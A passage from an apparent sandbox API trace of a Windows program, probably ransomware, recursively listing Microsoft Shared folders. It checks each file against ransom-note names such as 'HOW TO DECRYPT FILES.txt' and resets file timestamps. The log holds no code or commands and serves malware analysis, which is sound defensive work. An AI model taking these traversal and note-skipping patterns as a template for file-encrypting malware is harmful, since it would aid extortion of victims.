lstrcmpA (lpString1=".", lpString2="..") returned -1 [0059.646] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0059.646] FindNextFileA (in: hFindFile=0x4f81a0, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81afcd40, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x8541dd40, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x8541dd40, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="Fonts", cAlternateFileName="")) returned 1 [0059.646] lstrcmpA (lpString1=".", lpString2="Fonts") returned -1 [0059.646] lstrcmpA (lpString1="..", lpString2="Fonts") returned -1 [0059.646] PathFindFileNameA (pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\*.*") returned="*.*" [0059.646] FindFirstFileA (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81afcd40, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x8541dd40, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x8541dd40, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x4fa4e0, dwReserved1=0x4fa4db, cFileName=".", cAlternateFileName="")) returned 0x4f8118 [0059.649] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0059.649] FindNextFileA (in: hFindFile=0x4f8118, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81afcd40, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x8541dd40, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x8541dd40, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x4f0000, cFileName="..", cAlternateFileName="")) returned 1 [0059.649] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0059.649] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0059.649] FindNextFileA (in: hFindFile=0x4f8118, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2b362800, ftCreationTime.dwHighDateTime=0x1c10ce8, ftLastAccessTime.dwLowDateTime=0x81afcd40, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x2b362800, ftLastWriteTime.dwHighDateTime=0x1c10ce8, nFileSizeHigh=0x0, nFileSizeLow=0x4f2ea, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="BIGFONT.SHX", cAlternateFileName="")) returned 1 [0059.649] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0059.649] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="BIGFONT.SHX") returned 1 [0059.649] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="BIGFONT.SHX") returned 1 [0059.650] lstrcmpiA (lpString1="", lpString2="BIGFONT.SHX") returned -1 [0059.650] PathFindFileNameA (pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\*.*") returned="*.*" [0059.650] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\" [0059.650] PathAddBackslashA (in: pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\" | out: pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\") returned="" [0059.651] SetFileTime (hFile=0x90, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0059.652] CloseHandle (hObject=0x90) returned 1 [0059.652] FindNextFileA (in: hFindFile=0x4f8118, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2b362800, ftCreationTime.dwHighDateTime=0x1c10ce8, ftLastAccessTime.dwLowDateTime=0x81c076e0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x2b362800, ftLastWriteTime.dwHighDateTime=0x1c10ce8, nFileSizeHigh=0x0, nFileSizeLow=0xa261d, dwReserved0=0x0, dwReserved1=0x4f84c8, cFileName="CHINESET.SHX", cAlternateFileName="")) returned 1 [0059.652] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0059.652] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="CHINESET.SHX") returned 1 [0059.652] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="CHINESET.SHX") returned 1 [0059.652] lstrcmpiA (lpString1="", lpString2="CHINESET.SHX") returned -1 [0059.653] PathFindFileNameA (pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\BIGFONT.SHX") returned="BIGFONT.SHX" [0059.653] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\" [0059.653] PathAddBackslashA (in: pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\" | out: pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\") returned="" [0059.653] FindNextFileA (in: hFindFile=0x4f8118, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2b362800, ftCreationTime.dwHighDateTime=0x1c10ce8, ftLastAccessTime.dwLowDateTime=0x81eb4fa0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x2b362800, ftLastWriteTime.dwHighDateTime=0x1c10ce8, nFileSizeHigh=0x0, nFileSizeLow=0x6a9e6, dwReserved0=0x530045, dwReserved1=0x74002e, cFileName="EXTFONT.SHX", cAlternateFileName="")) returned 1 [0059.653] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0059.653] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="EXTFONT.SHX") returned -1 [0059.653] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="EXTFONT.SHX") returned 1 [0059.653] lstrcmpiA (lpString1="", lpString2="EXTFONT.SHX") returned -1 [0059.653] PathFindFileNameA (pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\CHINESET.SHX") returned="CHINESET.SHX" [0059.653] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\" [0059.653] PathAddBackslashA (in: pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\" | out: pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\") returned="" [0059.653] FindNextFileA (in: hFindFile=0x4f8118, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2b362800, ftCreationTime.dwHighDateTime=0x1c10ce8, ftLastAccessTime.dwLowDateTime=0x8207e020, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x2b362800, ftLastWriteTime.dwHighDateTime=0x1c10ce8, nFileSizeHigh=0x0, nFileSizeLow=0xdc6b9, dwReserved0=0x530045, dwReserved1=0x74002e, cFileName="GBCBIG.SHX", cAlternateFileName="")) returned 1 [0059.653] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0059.654] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="GBCBIG.SHX") returned -1 [0059.654] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="GBCBIG.SHX") returned 1 [0059.654] lstrcmpiA (lpString1="", lpString2="GBCBIG.SHX") returned -1 [0059.654] PathFindFileNameA (pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\EXTFONT.SHX") returned="EXTFONT.SHX" [0059.654] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\" [0059.654] PathAddBackslashA (in: pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\" | out: pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\") returned="" [0059.654] FindNextFileA (in: hFindFile=0x4f8118, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc2656900, ftCreationTime.dwHighDateTime=0x1c2706c, ftLastAccessTime.dwLowDateTime=0x820ca2e0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xc2656900, ftLastWriteTime.dwHighDateTime=0x1c2706c, nFileSizeHigh=0x0, nFileSizeLow=0x2b01, dwReserved0=0x530045, dwReserved1=0x74002e, cFileName="IC-TXT.SHX", cAlternateFileName="")) returned 1 [0059.654] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0059.654] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="IC-TXT.SHX") returned -1 [0059.654] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="IC-TXT.SHX") returned -1 [0059.654] lstrcmpiA (lpString1="", lpString2="IC-TXT.SHX") returned -1 [0059.654] PathFindFileNameA (pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\GBCBIG.SHX") returned="GBCBIG.SHX" [0059.654] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\" [0059.654] PathAddBackslashA (in: pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\" | out: pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\") returned="" [0059.654] FindNextFileA (in: hFindFile=0x4f8118, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc8f60300, ftCreationTime.dwHighDateTime=0x1c324cc, ftLastAccessTime.dwLowDateTime=0x820ca2e0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xc8f60300, ftLastWriteTime.dwHighDateTime=0x1c324cc, nFileSizeHigh=0x0, nFileSizeLow=0x146, dwReserved0=0x530045, dwReserved1=0x74002e, cFileName="ICAD.FMP", cAlternateFileName="")) returned 1 [0059.654] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0059.654] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="ICAD.FMP") returned -1 [0059.655] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="ICAD.FMP") returned -1 [0059.655] lstrcmpiA (lpString1="", lpString2="ICAD.FMP") returned -1 [0059.655] PathFindFileNameA (pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\IC-TXT.SHX") returned="IC-TXT.SHX" [0059.655] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\" [0059.655] PathAddBackslashA (in: pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\" | out: pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\") returned="" [0059.655] FindNextFileA (in: hFindFile=0x4f8118, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2b362800, ftCreationTime.dwHighDateTime=0x1c10ce8, ftLastAccessTime.dwLowDateTime=0x853f7be0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x2b362800, ftLastWriteTime.dwHighDateTime=0x1c10ce8, nFileSizeHigh=0x0, nFileSizeLow=0x369d3, dwReserved0=0x530045, dwReserved1=0x74002e, cFileName="WHGDTXT.SHX", cAlternateFileName="")) returned 1 [0059.655] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0059.655] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="WHGDTXT.SHX") returned -1 [0059.655] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="WHGDTXT.SHX") returned -1 [0059.655] lstrcmpiA (lpString1="", lpString2="WHGDTXT.SHX") returned -1 [0059.655] PathFindFileNameA (pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\ICAD.FMP") returned="ICAD.FMP" [0059.655] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\" [0059.655] PathAddBackslashA (in: pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\" | out: pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\") returned="" [0059.655] FindNextFileA (in: hFindFile=0x4f8118, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2b362800, ftCreationTime.dwHighDateTime=0x1c10ce8, ftLastAccessTime.dwLowDateTime=0x853f7be0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x2b362800, ftLastWriteTime.dwHighDateTime=0x1c10ce8, nFileSizeHigh=0x0, nFileSizeLow=0x2fde5, dwReserved0=0x530045, dwReserved1=0x74002e, cFileName="WHGTXT.SHX", cAlternateFileName="")) returned 1 [0059.655] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0059.655] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="WHGTXT.SHX") returned -1 [0059.655] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="WHGTXT.SHX") returned -1 [0059.656] lstrcmpiA (lpString1="", lpString2="WHGTXT.SHX") returned -1 [0059.656] PathFindFileNameA (pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\WHGDTXT.SHX") returned="WHGDTXT.SHX" [0059.656] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\" [0059.656] PathAddBackslashA (in: pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\" | out: pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\") returned="" [0059.656] FindNextFileA (in: hFindFile=0x4f8118, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2b362800, ftCreationTime.dwHighDateTime=0x1c10ce8, ftLastAccessTime.dwLowDateTime=0x8541dd40, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x2b362800, ftLastWriteTime.dwHighDateTime=0x1c10ce8, nFileSizeHigh=0x0, nFileSizeLow=0x9e413, dwReserved0=0x530045, dwReserved1=0x74002e, cFileName="WHTGTXT.SHX", cAlternateFileName="")) returned 1 [0059.656] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0059.656] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="WHTGTXT.SHX") returned -1 [0059.656] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="WHTGTXT.SHX") returned -1 [0059.656] lstrcmpiA (lpString1="", lpString2="WHTGTXT.SHX") returned -1 [0059.656] PathFindFileNameA (pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\WHGTXT.SHX") returned="WHGTXT.SHX" [0059.656] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\" [0059.656] PathAddBackslashA (in: pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\" | out: pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\") returned="" [0059.656] FindNextFileA (in: hFindFile=0x4f8118, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2b362800, ftCreationTime.dwHighDateTime=0x1c10ce8, ftLastAccessTime.dwLowDateTime=0x8541dd40, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x2b362800, ftLastWriteTime.dwHighDateTime=0x1c10ce8, nFileSizeHigh=0x0, nFileSizeLow=0xdfc98, dwReserved0=0x530045, dwReserved1=0x74002e, cFileName="WHTMTXT.SHX", cAlternateFileName="")) returned 1 [0059.656] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0059.656] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="WHTMTXT.SHX") returned -1 [0059.656] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="WHTMTXT.SHX") returned -1 [0059.657] lstrcmpiA (lpString1="", lpString2="WHTMTXT.SHX") returned -1 [0059.657] PathFindFileNameA (pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\WHTGTXT.SHX") returned="WHTGTXT.SHX" [0059.657] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\" [0059.657] PathAddBackslashA (in: pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\" | out: pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\") returned="" [0059.657] FindNextFileA (in: hFindFile=0x4f8118, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2b362800, ftCreationTime.dwHighDateTime=0x1c10ce8, ftLastAccessTime.dwLowDateTime=0x8541dd40, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x2b362800, ftLastWriteTime.dwHighDateTime=0x1c10ce8, nFileSizeHigh=0x0, nFileSizeLow=0xdfc98, dwReserved0=0x530045, dwReserved1=0x74002e, cFileName="WHTMTXT.SHX", cAlternateFileName="")) returned 0 [0059.657] FindClose (in: hFindFile=0x4f8118 | out: hFindFile=0x4f8118) returned 1 [0059.657] FindNextFileA (in: hFindFile=0x4f81a0, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81afcd40, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x8541dd40, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x8541dd40, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="Fonts", cAlternateFileName="")) returned 0 [0059.657] FindClose (in: hFindFile=0x4f81a0 | out: hFindFile=0x4f81a0) returned 1 [0059.657] FindNextFileA (in: hFindFile=0x4f7080, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3a42070, ftCreationTime.dwHighDateTime=0x1d2dda2, ftLastAccessTime.dwLowDateTime=0xd6cdb800, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd6cdb800, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x690056, dwReserved1=0x3, cFileName="VSTO", cAlternateFileName="")) returned 1 [0059.657] lstrcmpA (lpString1=".", lpString2="VSTO") returned -1 [0059.657] lstrcmpA (lpString1="..", lpString2="VSTO") returned -1 [0059.657] PathFindFileNameA (pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\*.*") returned="*.*" [0059.657] FindFirstFileA (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3a42070, ftCreationTime.dwHighDateTime=0x1d2dda2, ftLastAccessTime.dwLowDateTime=0xd6cdb800, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd6cdb800, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x4f8190 [0059.659] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0059.659] FindNextFileA (in: hFindFile=0x4f8190, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3a42070, ftCreationTime.dwHighDateTime=0x1d2dda2, ftLastAccessTime.dwLowDateTime=0xd6cdb800, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd6cdb800, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0059.659] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0059.659] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0059.659] FindNextFileA (in: hFindFile=0x4f8190, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3a42070, ftCreationTime.dwHighDateTime=0x1d2dda2, ftLastAccessTime.dwLowDateTime=0xd6d4dc20, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd6d4dc20, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="10.0", cAlternateFileName="")) returned 1 [0059.659] lstrcmpA (lpString1=".", lpString2="10.0") returned -1 [0059.659] lstrcmpA (lpString1="..", lpString2="10.0") returned -1 [0059.659] PathFindFileNameA (pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\*.*") returned="*.*" [0059.659] FindFirstFileA (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\10.0\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3a42070, ftCreationTime.dwHighDateTime=0x1d2dda2, ftLastAccessTime.dwLowDateTime=0xd6d4dc20, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd6d4dc20, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x4fa4e0, dwReserved1=0x4fa4db, cFileName=".", cAlternateFileName="")) returned 0x4f8118 [0059.663] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0059.663] FindNextFileA (in: hFindFile=0x4f8118, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3a42070, ftCreationTime.dwHighDateTime=0x1d2dda2, ftLastAccessTime.dwLowDateTime=0xd6d4dc20, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd6d4dc20, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x4f0000, cFileName="..", cAlternateFileName="")) returned 1 [0059.663] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0059.663] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0059.663] FindNextFileA (in: hFindFile=0x4f8118, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x617be070, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xd504b000, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd504b000, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 1 [0059.663] lstrcmpA (lpString1=".", lpString2="1033") returned -1 [0059.664] lstrcmpA (lpString1="..", lpString2="1033") returned -1 [0059.664] PathFindFileNameA (pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\10.0\\*.*") returned="*.*" [0059.664] FindFirstFileA (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\10.0\\1033\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x617be070, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xd504b000, ftLastAccessTime.dwHighDateTime=0x1d305eb, 